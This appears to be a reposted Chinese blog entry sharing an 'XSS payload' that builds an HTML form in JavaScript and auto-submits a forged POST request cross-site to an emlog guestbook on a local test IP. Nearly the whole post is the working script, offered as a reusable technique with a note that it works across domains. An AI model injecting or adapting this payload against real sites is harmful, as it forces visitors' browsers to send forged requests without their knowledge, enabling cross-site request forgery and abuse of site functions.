XSS Payload——用javascript模拟post提交表单

最新推荐文章于 2024-04-28 18:29:41 发布

dgitra7963

最新推荐文章于 2024-04-28 18:29:41 发布

阅读量179

点赞数

CC 4.0 BY-SA版权

文章标签： javascript ViewUI

原文链接：http://www.cnblogs.com/shanmao/archive/2012/11/26/2788637.html

本文介绍了一个使用JavaScript进行跨域表单提交的示例代码。通过动态创建表单元素并设置其属性，实现向指定URL提交包含特定字段的数据。此方法适用于需要跨域提交数据的场景。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

参考：http://zhchx0827.iteye.com/blog/1681349

下面是我测试的代码，贴出来记录一下：

<script>
document.write('<form name=myForm></form>');   
var myForm=document.forms['myForm'];   
myForm.action='http://192.168.0.100/emlog/?action=guestbook';   
myForm.method='POST';   

var input = document.createElement('input');
input.type = 'text';
input.name = 'name';
input.value = "游客";
myForm.appendChild(input);

var input=document.createElement('input');
input.type = 'text';
input.name = 'qq';
input.value = "46546456";
myForm.appendChild(input);

var textarea=document.createElement('textarea');
textarea.name='content';
textarea.value='testtest';
myForm.appendChild(textarea);

var input=document.createElement('input');
input.type = 'hidden';
input.name = 'action';
input.value = "addmessage";
myForm.appendChild(input);


myForm.submit(); 

</script>

如果form有其他的元素可按照规律直接添加，这个脚本支持跨域的，真帅。

转载于:https://www.cnblogs.com/shanmao/archive/2012/11/26/2788637.html